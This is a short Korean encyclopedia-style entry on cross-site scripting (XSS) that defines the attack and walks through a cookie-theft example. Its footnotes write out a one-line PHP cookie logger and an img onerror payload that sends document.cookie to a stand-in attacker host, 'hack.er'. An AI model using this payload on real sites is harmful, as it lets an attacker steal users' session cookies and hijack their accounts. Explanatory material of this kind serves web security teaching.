XSS

목차

1. 개요
2. 예시

1. 개요 _{✎ ⊖}

Cross-site Scripting.⁽¹⁾

SQL injection과 함께 웹 상에서 가장 기초적인 취약점 공격 방법의 일종으로, 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말한다. 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며,⁽²⁾ 보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취한다.

2. 예시 _{✎ ⊖}

해커의 홈페이지에 PHP 파일을 만들고,⁽³⁾ 공격할 사이트에 스크립트를 심은 뒤,⁽⁴⁾ 사용자가 스크립트가 심어진 페이지를 볼 경우, 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해진다.

(1) 줄이면 CSS인데 Cascading Style Sheet와 혼동이 올 수 있어서 XSS라고 부르는 것이다.

(2) 사용자 입장에서는 삽입된 코드가 원래부터 존재하는 코드인지 아닌지 분간 할 수 없다.

(3) 예시에서는 Cookie.php라는 이름의 PHP 파일을 생성한다. 코드 - <? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>

(4) 예시에서는 hack.er라는 이름의 사이트를 기준으로 한다. 코드 - <img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">

1. 개요 ✎ ⊖

2. 예시 ✎ ⊖

1. 개요 _{✎ ⊖}

2. 예시 _{✎ ⊖}